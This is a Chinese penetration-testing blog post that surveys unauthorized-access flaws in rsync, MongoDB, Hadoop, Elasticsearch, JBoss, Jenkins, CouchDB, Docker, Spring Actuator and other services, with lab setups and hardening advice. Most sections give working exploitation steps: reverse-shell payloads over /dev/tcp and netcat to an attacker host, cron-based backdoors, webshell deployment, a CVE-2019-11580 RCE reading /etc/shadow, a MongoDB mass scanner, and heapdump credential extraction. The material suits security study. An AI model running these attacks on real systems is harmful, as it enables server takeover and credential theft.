HacKerQWQ的博客空间

未授权访问漏洞归纳

Word count: 6.2kReading time: 27 min
2021/06/18 Share

redis未授权访问

link:https://hackerqwq.github.io/2021/04/19/redis%E6%94%BB%E9%98%B2%E5%88%A9%E7%94%A8%E9%9D%A2%E6%80%BB%E7%BB%93/

通过RESP工具连接

rsync未授权访问

漏洞简介

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。 其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

默认无账号密码,可直接访问

漏洞利用

  1. nmap扫描端口
    20210618222022
    发现rsync端口开启,进行下一步利用

  2. 读取任意文件

    1
    2
    rsync rsync://192.168.16.128/
    rsync rsync://192.168.16.128/src

    20210618222200

  3. 下载文件

    1
    rsync rsync://192.168.16.128/src/etc/passwd ./passwd.txt

    20210618222304

  4. 上传任意文件

    1
    rsync passwd.txt rsync://192.168.16.128:873/src/

    20210618222739
    可以利用这个漏洞写入cron任务反弹shell或者写webshell、ssh公钥等等

  5. 利用rsync反弹shell

    1
    2
    3
    4
    5
    6
    7
    # 下载crontab配置文件
    rsync rsync://172.16.2.250:873/src/etc/crontab ./


    该环境crontab中
    17 * * * * root cd / && run-parts --report /etc/cron.hourly
    表示每小时的第17分钟执行run-parts --report /etc/cron.hourly

    img

    1
    2
    3
    # 写入bash并赋权
    vim nc
    chmod 777

    img

    1
    2
    # 将文件上传至/etc/cron.hourly
    rsync -av nc rsync://172.16.2.250:873/src/etc/cron.hourly

    img

    1
    2
    # 本地监听9999
    nc -lnvp 9999

    img

    反弹成功。
    img

漏洞修复

思路:添加账号密码,绑定ip再启动服务

1
2
3
4
5
6
7
8
9
10
11
12
13
#编辑rsync的配置文件
vim /etc/rsync.conf

#写入以下内容
hosts allow xxx.xxx.xxx.xxx
auth users = rsync
secrets file = /etc/rsyncd.passwd

#新建一个文件
vim /etc/rsyncd.passwd

# 写入用户密码,用冒号:隔开
username :password

重启服务就可以了

mongodb未授权访问漏洞

mongodb简介

MongoDB 是一个基于分布式文件存储的数据库。由 **C++**语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。

MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。–菜鸟教程

漏洞简介

对外开放的MongoDB服务,未配置访问认证授权无需认证连接数据库后对数据库进行任意操作(增、删、改、查高危动作),存在严重的数据泄露风险。

漏洞成因

MongoDB服务安装后,默认未开启权限验证。如果服务监听在0.0.0.0,则可远程无需授权访问数据库。

1
2
3
4
5
3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。 

3.0之前版本,如未添加用户管理员账号及数据库账号,使用--auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;

3.0及之后版本,使用--auth参数启动后,无账号则本地和远程均无任何数据库访问权限。

环境搭建

1
2
3
docker pull mongo  #从镜像仓库中拉取或者更新指定镜像
docker run -d -p 27017:27017 --name mongodb mongo # 创建一个新的容器并运行一个命令
docker ps -a # 显示所有的容器,包括未运行的

验证漏洞

批量扫描未授权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import socket
import sys
import pymongo

ipcons = []
def Scanner(ip):
global ipcons
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.settimeout(0.3)
try:
sk.connect((ip,27017))
ipcons.append(ip)
sk.close()
except Exception:
pass

def ip2num(ip):
ip=[int(x) for x in ip.split('.')]
return ip[0] <<24 | ip[1]<<16 | ip[2]<<8 |ip[3]

def num2ip(num):
return '%s.%s.%s.%s' %( (num & 0xff000000) >>24,
(num & 0x00ff0000) >>16,
(num & 0x0000ff00) >>8,
num & 0x000000ff )

def get_ip(ip):
start,end = [ip2num(x) for x in ip.split(' ') ]
return [ num2ip(num) for num in range(start,end+1) if num & 0xff ]

startIp = sys.argv[1]
endIp = sys.argv[2]
iplist = get_ip(sys.argv[1]+" "+sys.argv[2])
for i in iplist:
Scanner(i)

def connMon(ip_addr):
print ' Connect mongodb: ' + ip_addr + ':27017'
try:
conn = pymongo.MongoClient(ip_addr,27017,socketTimeoutMS=3000)
dbname = conn.database_names()
print "success"
except Exception as e:
print "error"

print ipcons
for ipaddr in ipcons:
connMon(ipaddr)
print "================="

漏洞利用

使用NoSQLBooster来连接

img
img
img

防范措施

  1. 新建管理账户开启MongoDB授权

新建终端[参数默认可以不加,若有自定义参数,才要加上,下同]

1
mongod --port 27017 --dbpath /data/db1

另起一个终端,运行下列命令

1
2
3
4
5
6
7
8
9
10
11
mongo --port 27017

use admin

db.createUser(
{
user: "adminUser",
pwd: "adminPass",
roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
}
)

管理员创建成功,现在拥有了用户管理员 用户名:adminUser 密码:adminPass
20210618225913

  1. 本地访问
    bind 127.0.0.1

  2. 修改默认端口
    修改默认的mongoDB端口(默认为: TCP 27017)为其他端口

  3. 禁用HTTP和REST端口
    MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface = false

  4. 开启日志审计功能
    审计功能可以用来记录用户对数据库的所有相关操作。这些记录可以让系统管理员在需要的时候分析数据库在什么时段发生了什么事情

  5. 开启auth认证
    /etc/mongodb.conf  
    auth = true

更多防范措施:https://www.freebuf.com/vuls/212799.html

hadoop未授权访问漏洞

漏洞简介

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器器直接在开放了了
Hadoop 机器器 HDFS 的 50070 端口及部分默认服务口口,黑客可以通过命令行操作多个目录下
的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

攻击方式

  1. 使用nmap扫描服务
    20210620194927

Jetty是Servlet容器,类似于Tomcat
2. 验证漏洞

1
curl -v -X POST 'http://39.104.106.129:8088/ws/v1/cluster/apps/new-application'

根据返回值是否有application-id验证存在漏洞
20210620201217

访问 http://192.168.18.129:8088/cluster
img

  1. 利用脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    #!/usr/bin/env python

    import requests

    target = 'http://127.0.0.1:8088/'
    lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999

    url = target + 'ws/v1/cluster/apps/new-application'
    resp = requests.post(url)
    app_id = resp.json()['application-id']
    url = target + 'ws/v1/cluster/apps'
    data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
    'commands': {
    'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
    },
    },
    'application-type': 'YARN',
    }
    requests.post(url, json=data)

ElasticSearch未授权访问

0x01漏洞描述

​ ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。

0x02 漏洞危害

​ Elasticsearch默认9200端口对外开放且未进行验证,用于提供远程管理数据的功能,任何连接到服务器端口上的人,都可以调用相关API对服务器上的数据进行任意的增删改查。

0x03 漏洞验证

​ 访问ES相关API,可直接读取敏感数据,甚至可以操作相关数据。

1
2
3
4
http://localhost:9200/_plugin/head/ web管理界面
http://localhost:9200/_cat/indices
http://localhost:9200/_river/_search 查看数据库敏感信息
http://localhost:9200/_nodes 查看节点数据

imgES未授权敏感信息

0x04 修复建议

1、9200端口不要对外开放,如需开放,建议在安全组限制只允许指定IP才能访问9200端口;

// accept

1
2
## iptables -A INPUT -p tcp -s 127.0.0.1 --dport 9200 -j ACCEPT
## iptables -A INPUT -p udp -s 127.0.0.1 --dport 9200 -j ACCEPT

// drop

1
2
## iptables -I INPUT -p tcp --dport 9200 -j DROP
## iptables -I INPUT -p udp --dport 9200 -j DROP

// 保存规则并重启 iptables

1
2
## service iptables save
## service iptables restart

2、为elasticsearch增加登录验证

https://cloud.tencent.com/developer/article/1620806

3、使用Nginx搭建反向代理,通过配置Nginx实现对Elasticsearch的认证。

Jboss未授权访问

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

1
/jmx-console

环境搭建

这里使用我修改过的docker镜像

1
2
3
4
docker search testjboss
docker pull testjboss/jboss:latest
docker images
docker run -p 8080:8080 -d 5661a2e31006

img
img
img

未授权访问测试

http://192.168.18.129:8080/jmx-console/ 无需认证进入控制页面
img

部署shell

点击jboss.deployment进入应用部署页面
img
使用apache搭建远程木马服务器
img
访问木马地址http:///shell.war
img
成功上传木马
img
访问http://192.168.18.129:8080/shell/
img

防御手段

-对jmx控制页面访问添加访问验证。

-进行JMX Console 安全配置。

Jenkins 未授权访问漏洞

漏洞简介以及危害

  默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。

漏洞利用

环境介绍

1
2
3
4
目标靶机: kali
ip地址: 192.168.18.129

连接工具:Xshell

环境搭建

1
wget http://mirrors.jenkins.io/debian/jenkins_1.621_all.deb # 下载

下载地址:http://mirrors.jenkins.io/

1
2
dpkg -i jenkins_1.621_all.deb # 安装
sudo apt-get -f --fix-missing install # 如果有报依赖项的错误时执行

img

1
2
开启Jenkins服务
service jenkinis start

img

1
2
浏览器访问http://192.168.18.129:8080/
如下图所示说明环境搭建成功

img

未授权访问测试

访问http://192.168.18.129:8080/manage可以看到没有任何限制可以直接访问
image-20220821150440169

Jenkins未授权访问写shell

点击“脚本命令执行”
img
执行系统命令

1
println "whoami".execute().text

img
网站路径:/var/www/html (需要具备一定的权限)
利用“脚本命令行”写webshell,点击运行没有报错,写入成功

1
new File ("/var/www/html/shell.php").write('<?php phpinfo(); ?>');

img
访问shell.php
img
更多利用方式可参考:https://www.secpulse.com/archives/2166.html

防御手段

-升级版本。
-添加认证,设置强密码复杂度及账号锁定。

-禁止把Jenkins直接暴露在公网。

VNC 未授权访问漏洞

漏洞简介以及危害

  VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制target主机。

漏洞利用

环境介绍

1
2
目标靶机: Windows Server 2003 Standard Edition
ip地址: 192.168.15.8

环境搭建

下载地址:https://archive.realvnc.com/download/open/4.0/

进行安装(一直下一步即可)
img
img

未授权访问测试

1
vncviewer 192.168.15.8

img

##防御手段

-配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。

-以最小普通权限身份运行操作系统。

Atlassian Crowd 未授权访问漏洞

漏洞简介以及危害

  Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品。Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstall开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限。

漏洞利用

环境介绍

1
2
3
4
目标靶机:Centos
ip地址:192.168.18.138

连接工具:Xshell

环境搭建

1
2
wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
unzip atlassian-crowd-3.4.3.zip

img

1
2
cd atlassian-crowd-3.4.3
vim crowd-webapp/WEB-INF/classes/crowd-init.properties

img

1
./start_crowd.sh

img
访问http://192.168.18.138:8095 点击Set up Crowd
img
可以在这里申请试用30天https://my.atlassian.com/products/index 并填写license
进行下一步安装,直到安装完成。
img

未授权访问测试

进行上传一个标准的插件,来自atlassian-bundled-plugins中的applinks-plugin-5.4.12.jar

1
curl --form "file_cdl=@applinks-plugin-5.4.12.jar" http://192.168.18.138:8095/crowd/admin/uploadplugin.action -v

成功上传
img

Atlassian Crowd RCE

漏洞利用脚本github地址:https://github.com/jas502n/CVE-2019-11580

1
2
3
4
git clone https://github.com/jas502n/CVE-2019-11580
cd CVE-2019-11580/
python CVE-2019-11580.py http://192.168.18.138:8095
curl http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow

img

防御手段

-设置访问/crowd/admin/uploadplugin.action的源ip。

-升级最新版本(3.5.0以上)。

CouchDB 未授权访问漏洞

漏洞简介以及危害

  Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序),默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。

  在官方配置文档中对HTTP Server的配置有WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。

漏洞利用

环境介绍

1
2
3
4
目标靶机:Kali
ip地址:192.168.18.129

连接工具:Xshell

环境搭建

1
2
mkdir couchdb
wget https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/docker-compose.yml

img

1
docker-compose up -d

img

未授权访问测试

1
2
curl http://192.168.18.129:5984
curl http://192.168.18.129:5984/_config

img
img

任意命令执行

本机python运行http服务

1
python -m SimpleHTTPServer 9999

img

1
2
3
4
5
#依次执行如下命令
curl -X PUT 'http://192.168.18.129:5984/_config/query_servers/cmd' -d '"curl http://192.168.18.138:9999/test.php"'
curl -X PUT 'http://192.168.18.129:5984/vultest'
curl -X PUT 'http://192.168.18.129:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://192.168.18.129:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

img
成功执行
img

nmap扫描

1
nmap -p 5984 --script "couchdb-stats.nse" {target_ip}

防御手段

-绑定指定ip。

-设置访问密码。

Jupyter Notebook 未授权访问漏洞

漏洞简介以及危害

  Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。

漏洞利用

环境介绍

1
2
3
4
目标靶机:Kali
ip地址:192.168.18.129

连接工具:Xshell

环境搭建

1
2
wget https://raw.githubusercontent.com/vulhub/vulhub/master/jupyter/notebook-rce/docker-compose.yml
docker-compose up -d

img
img

未授权访问测试

访问 http://192.168.18.129:8888
img

利用terminal命令执行

New > Terminal 创建控制台
img
可以执行任意命令
img

防御手段

-开启身份验证,防止未经授权用户访问。

-访问控制策略,限制IP访问,绑定固定IP。

ZooKeeper 未授权访问漏洞

漏洞简介以及危害

  zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。

漏洞利用

环境介绍

1
2
3
4
目标靶机:Centos
ip地址:172.16.2.251

连接工具:Xshell

环境搭建

1
2
3
4
5
6
#搭建环境
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start # 启动

img

未授权访问测试

1
2
#获取该服务器的环境
echo envi|nc 172.16.2.251 2181

img
利用zookeeper可视化管理工具进行连接

下载地址:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip
img
img

防御手段

-修改 ZooKeeper 默认端口,采用其他端口服务。

-添加访问控制,配置服务来源地址限制策略。

-增加 ZooKeeper 的认证配置。

Memcached 未授权访问漏洞

漏洞简介以及危害

  Memcached 是一套常用的 key-value 分布式高速缓存系统,由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者无需认证通过命令交互可直接读取 Memcached中的敏感信息。

漏洞利用

环境介绍

1
2
3
4
目标靶机: Windows Server 2012
ip地址: 10.0.4.138

连接工具:Xshell

环境搭建

64位系统 1.4.4版本:http://static.runoob.com/download/memcached-win64-1.4.4-14.zip

1
2
3
解压压缩包到指定目录
使用管理员权限运行以下命令:
memcached.exe -d install

img

1
2
启动服务:
memcached.exe -d start

img

1
2
3
查看进程服务以及端口
netstat -ano | findstr 11211
tasklist | findstr memcached

img

未授权访问测试

为了方便测试这里将防火墙关闭

1
2
telnet 10.0.4.138 11211 或 nc -vv <target> 11211
无需用户名密码,可以直接连接memcache 服务的11211端口

img

1
stats #查看memcache服务状态

img

nmap检测

1
2
地址:https://svn.nmap.org/nmap/scripts/memcached-info.nse
nmap -p 11211 --script memcached-info <target>

防御手段

-设置Memchached只允许本地访问。

-禁止外网访问Memcached 11211端口。

-配置访问控制策略。

-最小化权限运行。

-修改默认端口等。

Docker 未授权访问漏洞

漏洞简介以及危害

  Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。

  Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

漏洞利用

环境介绍

1
2
3
4
目标靶机: Kali
ip地址: 192.168.15.5

连接工具:Xshell

环境搭建

1
2
3
4
5
6
7
8
9
# 下载环境
mkdir docker
cd docker
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfile
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh

#或者利用DownGit下载https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce
DownGit网址:https://minhaskamal.github.io/DownGit/#/home

img

1
2
chmod 777 docker-entrypoint.sh # 给docker-entrypoint.sh权限
docker-compose build && docker-compose up -d # 编译并启动环境

img

未授权访问测试

1
docker -H tcp://192.168.15.5:2375 version

img

通过crontab反弹宿主机shell

1
2
# vps监听9999端口
nc -lvnp 9999

img

1
2
3
# 启动容器
docker -H tcp://192.168.15.5:2375 run -id -v /etc/crontabs:/tmp alpine:latest
docker -H tcp://192.168.15.5:2375 ps

img

1
docker -H tcp://192.168.15.5:2375 exec -it a8ff7ed880fb sh # 进入容器

img

或者一次性启动容器,省去关容器的步骤

1
docker -H tcp://10.164.9.4:2375 run --rm -it -v /:/mnt 8201fd692927 chroot /mnt sh

反弹shell

1
2
3
4
5
echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/root #添加计划任务

cat /tmp/root # 查看/tmp/root 文件

exit #退出容器

img

反弹宿主机shell
img

写入ssh公钥

1
2
3
4
5
6
7
8
# 创建容器并且将/mnt作为根目录
docker -H tcp://1x.x.x.x:2375 run -it -v /:/mnt busybox chroot /mnt sh
#写入ssh公钥
ssh-keygen -t rsa
# 把id_rsa.pub写入authorized_keys中
cat id_rsa.pub >> /root/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

也可以直接利用python脚本

1
2
3
4
import docker

client = docker.DockerClient(base_url='http://{target_ip}:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

Docker 未授权访问漏洞利用脚本[没试过]

1
https://github.com/Tycx2ry/docker_api_vul

防御手段

-简单粗暴的方法,对2375端口做网络访问控制,如ACL控制,或者访问规则。

-修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行。

Spring actuator未授权访问

Actuator组件为Spring Boot提供对应用系统的监控和管理的集成功能,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信以及Web请求的详细信息等。

如果Actuator使用不当或者一些不经意的疏忽,可能造成信息泄露等严重的安全隐患。/heapdump作为Actuator组件最为危险的Web接口,如Actuator配置不当,攻击者可无鉴权获取heapdump堆转储文件,分析heapdump堆转储文件进一步获取敏感信息。

img

常见的路径为

  1. Spring boot 1.x版本,默认端点为/heapdump,下载的heapdump文件包含时间以及后缀hprof。

  2. Spring boot 2.x版本,默认端点为/Actuator/heapdump,需要将下载的heapdump文件加上.hprof后缀。

通过heapdump可以下载敏感堆转储文件,通过heapdump_tool进行读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@wy:~# 
> java -jar heapdump_tool.jar heapdump.6
[-] file: heapdump.6
[-] Start jhat, waiting...
[-] get objects,waiting(1-2min)...
[-] fing object count: 113128
[-] please input keyword value to search, example: password,len=16,num=0-10,all=true,geturl,getfile,getip input q/quit to quit.
> spring.datasource.password
[-] Start find keyword: spring.datasource.password
>> spring.datasource.password -> test@wyzxxz
[-] please input keyword value to search, example: password,len=16,num=0-10,all=true,geturl,getfile,getip input q/quit to quit.
> accesskey
[-] Start find keyword: accessKey
>> ConnectionProperties.noAccessToProcedureBodies -> When determining procedure parameter types for CallableStatements, and the connected user can&#039;&#039;t access procedure bodies through "SHOW CREATE PROCEDURE" or select on mysql.proc should the driver instead create basic metadata
>> accessKey -> LTA**************
[-] please input keyword value to search, example: password,len=16,num=0-10,all=true,geturl,getfile,getip input q/quit to quit.
> q
[-] exit.

参考链接

  1. rsync未授权访问漏洞-I3yx

  2. rsync未授权访问漏洞-浅笑⁹⁹⁶

  3. MongoDB未授权访问漏洞分析及整改建议-Freebuf

  4. 常见未授权漏洞总结

CATALOG
  1. 1. redis未授权访问
  2. 2. rsync未授权访问
    1. 2.1. 漏洞简介
    2. 2.2. 漏洞利用
    3. 2.3. 漏洞修复
  3. 3. mongodb未授权访问漏洞
    1. 3.1. mongodb简介
    2. 3.2. 漏洞简介
    3. 3.3. 漏洞成因
    4. 3.4. 环境搭建
    5. 3.5. 验证漏洞
    6. 3.6. 漏洞利用
    7. 3.7. 防范措施
  4. 4. hadoop未授权访问漏洞
    1. 4.1. 漏洞简介
    2. 4.2. 攻击方式
  5. 5. ElasticSearch未授权访问
    1. 5.1. 0x01漏洞描述
    2. 5.2. 0x02 漏洞危害
    3. 5.3. 0x03 漏洞验证
    4. 5.4. 0x04 修复建议
  6. 6. Jboss未授权访问
    1. 6.1. 环境搭建
    2. 6.2. 未授权访问测试
    3. 6.3. 部署shell
    4. 6.4. 防御手段
  7. 7. Jenkins 未授权访问漏洞
    1. 7.1. 漏洞简介以及危害
    2. 7.2. 漏洞利用
      1. 7.2.1. 环境介绍
      2. 7.2.2. 环境搭建
      3. 7.2.3. 未授权访问测试
      4. 7.2.4. Jenkins未授权访问写shell
      5. 7.2.5. 防御手段
  8. 8. VNC 未授权访问漏洞
    1. 8.1. 漏洞简介以及危害
    2. 8.2. 漏洞利用
      1. 8.2.1. 环境介绍
      2. 8.2.2. 环境搭建
      3. 8.2.3. 未授权访问测试
  9. 9. Atlassian Crowd 未授权访问漏洞
    1. 9.1. 漏洞简介以及危害
    2. 9.2. 漏洞利用
      1. 9.2.1. 环境介绍
      2. 9.2.2. 环境搭建
      3. 9.2.3. 未授权访问测试
    3. 9.3. Atlassian Crowd RCE
    4. 9.4. 防御手段
  10. 10. CouchDB 未授权访问漏洞
    1. 10.1. 漏洞简介以及危害
    2. 10.2. 漏洞利用
      1. 10.2.1. 环境介绍
      2. 10.2.2. 环境搭建
      3. 10.2.3. 未授权访问测试
      4. 10.2.4. 任意命令执行
      5. 10.2.5. nmap扫描
      6. 10.2.6. 防御手段
  11. 11. Jupyter Notebook 未授权访问漏洞
    1. 11.1. 漏洞简介以及危害
    2. 11.2. 漏洞利用
      1. 11.2.1. 环境介绍
      2. 11.2.2. 环境搭建
      3. 11.2.3. 未授权访问测试
      4. 11.2.4. 利用terminal命令执行
      5. 11.2.5. 防御手段
  12. 12. ZooKeeper 未授权访问漏洞
    1. 12.1. 漏洞简介以及危害
    2. 12.2. 漏洞利用
      1. 12.2.1. 环境介绍
      2. 12.2.2. 环境搭建
      3. 12.2.3. 未授权访问测试
      4. 12.2.4. 防御手段
  13. 13. Memcached 未授权访问漏洞
    1. 13.1. 漏洞简介以及危害
    2. 13.2. 漏洞利用
      1. 13.2.1. 环境介绍
      2. 13.2.2. 环境搭建
      3. 13.2.3. 未授权访问测试
      4. 13.2.4. nmap检测
      5. 13.2.5. 防御手段
  14. 14. Docker 未授权访问漏洞
    1. 14.1. 漏洞简介以及危害
    2. 14.2. 漏洞利用
      1. 14.2.1. 环境介绍
      2. 14.2.2. 环境搭建
      3. 14.2.3. 未授权访问测试
      4. 14.2.4. 通过crontab反弹宿主机shell
      5. 14.2.5. 写入ssh公钥
      6. 14.2.6. 防御手段
  15. 15. Spring actuator未授权访问
  16. 16. 参考链接